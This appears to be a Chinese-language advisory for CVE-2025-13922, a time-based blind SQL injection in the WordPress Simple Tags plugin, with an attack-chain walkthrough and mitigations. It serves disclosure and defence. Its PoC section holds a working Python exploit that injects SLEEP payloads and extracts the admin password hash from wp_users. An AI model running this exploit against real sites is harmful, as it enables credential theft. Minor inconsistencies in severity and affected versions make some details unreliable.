IPBUF安全漏洞报告
English
CVE-2025-13922 CVSS 6.5 中危

CVE-2025-13922 WordPress Simple Tags插件SQL注入漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13922
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI plugin for WordPress (simple-tags)

相关标签

SQL注入时间盲注WordPress插件漏洞Simple TagsCVE-2025-13922AJAX注入认证用户漏洞WordPress安全

漏洞概述

CVE-2025-13922是WordPress插件"Simple Tags"中的一个高危安全漏洞。该插件是一款广泛应用于WordPress网站的标签、分类和分类法管理工具,集成了AI自动标记功能。漏洞存在于插件的AI预览AJAX端点中,具体位于'existing_terms_orderby'参数的处理逻辑中。由于插件在处理用户提供的参数时未进行充分的转义处理,且缺少SQL查询参数化机制,导致应用程序存在SQL注入风险。攻击者利用此漏洞可发起时间盲注SQL注入攻击,通过构造恶意SQL语句并观察数据库响应时间差异来提取敏感信息、造成性能下降或进行数据推断。漏洞利用需要认证用户具备Contributor级别或更高权限,并拥有AI metabox权限。鉴于该插件被大量WordPress网站使用,建议管理员尽快采取修复措施。

技术细节

该漏洞属于时间盲注SQL注入(Time-based Blind SQL Injection)类型。漏洞产生的根本原因在于两个方面:首先,插件对用户可控的'existing_terms_orderby'参数缺乏充分的输入验证和转义处理;其次,代码中直接拼接SQL查询语句而未使用参数化查询。在TaxoPressAiAjax.php的第180行附近,插件接收AJAX请求中的'existing_terms_orderby'参数后,直接将其值拼接到SQL ORDER BY子句中。攻击者可通过构造包含SQL函数(如SLEEP、BENCHMARK等)的参数值,利用数据库响应时间的差异来推断信息。例如,构造类似'existing_terms_orderby=term_id AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END)'的payload,数据库将根据条件真假产生不同的响应时间,从而实现信息提取。由于是时间盲注,攻击者需要通过多次请求和精确的时间测量来逐步获取数据库中的敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的用户账户,需要具备Contributor或更高角色权限,且拥有AI metabox访问权限
STEP 2
步骤2
攻击者构造恶意AJAX请求,目标是stax_ai_preview_terms端点,在existing_terms_orderby参数中注入SQL payload
STEP 3
步骤3
利用时间盲注技术,通过SLEEP()或BENCHMARK()等函数让数据库产生可测量的时间延迟,构造条件判断语句
STEP 4
步骤4
根据响应时间的差异(条件为真时延迟,条件为假时正常返回),逐步推断数据库中的敏感信息,如用户密码哈希
STEP 5
步骤5
通过自动化脚本多次迭代请求,提取完整的数据库内容,可能包括管理员凭据、插件配置、API密钥等敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target_url = "https://target-site.com/wp-admin/admin-ajax.php" # Authentication credentials with Contributor role and AI metabox permissions auth = { "username": "attacker", "password": "password123" } session = requests.Session() # Login to WordPress login_url = "https://target-site.com/wp-login.php" session.post(login_url, data=auth) # POC: Time-based Blind SQL Injection via existing_terms_orderby parameter # This payload tests if the vulnerability exists by causing a 5-second delay def test_sqli(): """ Test for CVE-2025-13922: SQL Injection in Simple Tags plugin The 'existing_terms_orderby' parameter is vulnerable to time-based blind SQL injection """ # Payload to test vulnerability - causes delay if vulnerable # This extracts the first character of the database user payload = "term_id AND (SELECT CASE WHEN (SUBSTRING((SELECT user()),1,1)='r') THEN SLEEP(5) ELSE 0 END)" params = { "action": "stax_ai_preview_terms", # AI preview AJAX action "existing_terms_orderby": payload, "taxonomy": "post_tag" } start_time = time.time() response = session.get(target_url, params=params) elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Vulnerability confirmed! Time-based SQL injection works.") print(f"[+] Response time: {elapsed_time:.2f} seconds") else: print("[-] Vulnerability not detected or target not vulnerable") print(f"[-] Response time: {elapsed_time:.2f} seconds") def extract_data(): """ Extract database information using time-based blind SQL injection This is a simplified example - real attacks would iterate through all characters """ charset = "abcdefghijklmnopqrstuvwxyz0123456789_@" result = "" for pos in range(1, 33): # Extract 32 characters (typical hash length) for char in charset: payload = f"term_id AND (SELECT CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1)='{char}') THEN SLEEP(2) ELSE 0 END)" params = { "action": "stax_ai_preview_terms", "existing_terms_orderby": payload, "taxonomy": "post_tag" } start_time = time.time() session.get(target_url, params=params) elapsed_time = time.time() - start_time if elapsed_time >= 2: result += char print(f"[+] Extracted so far: {result}") break print(f"[+] Final result: {result}") if __name__ == "__main__": test_sqli()

影响范围

Simple Tags plugin < 3.40.1 (所有版本直至3.40.1均受影响)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时禁用AI Autotagger功能;2) 撤销所有非管理员用户的AI metabox权限;3) 使用Web应用防火墙(WAF)规则拦截包含SLEEP、BENCHMARK等SQL函数的请求;4) 加强用户权限管理,确保只有完全可信的用户才具有Contributor级别权限。同时建议在WordPress配置文件中禁用未使用的AJAX端点,并启用详细的访问日志以便及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表